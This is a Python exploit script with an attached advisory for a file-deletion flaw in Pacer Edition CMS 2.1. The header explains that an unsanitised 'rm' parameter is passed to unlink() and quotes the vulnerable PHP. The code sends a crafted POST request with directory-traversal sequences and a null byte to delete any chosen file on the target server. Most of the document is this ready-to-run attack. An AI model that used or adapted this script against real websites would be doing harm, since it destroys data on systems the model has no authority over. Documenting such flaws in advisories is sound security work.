#!/usr/bin/python # # # Pacer Edition CMS 2.1 (rm) Remote Arbitrary File Deletion Exploit # # # Vendor: The Pacer Edition # Product web page: http://www.thepaceredition.com # Affected version: RC 2.1 (SVN: 867) # # Summary: The 'Pacer Edition' is a Content Management System(CMS) # written using PHP 5.2.9 as a minimum requirement. The Pacer Edition # CMS was based from Website baker core and has been completely # redesigned with a whole new look and feel along with many new # advanced features to allow you to build sites exactly how you want # and make them, 100% yours! # # Desc: Input passed to the 'rm' parameter in modules/code/syntax_check.php # is not properly sanitised before being used to delete files. This can # be exploited to delete files with the permissions of the web server via # directory traversal sequences passed within the 'rm' parameter. # # # /modules/code/syntax_check.php (line: 99-102): # ---------------------------------------------------------- # # if (isset($_REQUEST['rm'])) { # @unlink($_REQUEST['rm']); # die(); # } # # ---------------------------------------------------------- # # # Tested on: Microsoft Windows XP Professional SP3 (EN) # Apache 2.2.14 (Win32) # PHP 5.3.1 # MySQL 5.1.41 # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # liquidworm gmail com # Zero Science Lab # # # Advisory ID: ZSL-2011-5017 # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5017.php # # # # 07.06.2011 # import socket import sys print '\n-------------------------------------------------------------------' print '\n Pacer Edition CMS 2.1 (rm) Remote Arbitrary File Deletion Exploit' print '\n-------------------------------------------------------------------\n' if len(sys.argv) < 4: print '\nUsage: ' + sys.argv[0] + ' \n' print 'Example: ' + sys.argv[0] + ' 192.168.16.101 80 naked.jpg\n' sys.exit(0) host = sys.argv[1] port = int(sys.argv[2]) file = sys.argv[3] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect((host, port)) s.settimeout(10) answ = s.recv(1024) s.send('POST /modules/code/syntax_check.php?rm=..%2f..%2f..%2f..%2f..%2f..%2f' + file + '%00 HTTP/1.1\r\n' 'Host: ' + host + '\r\n' 'Connection: keep-alive\r\n' 'Content-Length: 0\r\n' 'Cache-Control: max-age=0\r\n' 'Origin: null\r\n' 'User-Agent: thricer\r\n' 'Content-Type: multipart/form-data; boundary=----x\r\n' 'Accept: text/html\r\n' 'Accept-Language: en-US,en;q=0.8\r\n' 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n' '\r\n\r\n') htcode = 'HTTP/1.1 200' if htcode not in answ[:len(htcode)]: print '- Error deleting file!\n' sys.exit(0) else: print '+ File ' + file + 'deleted!\n' s.close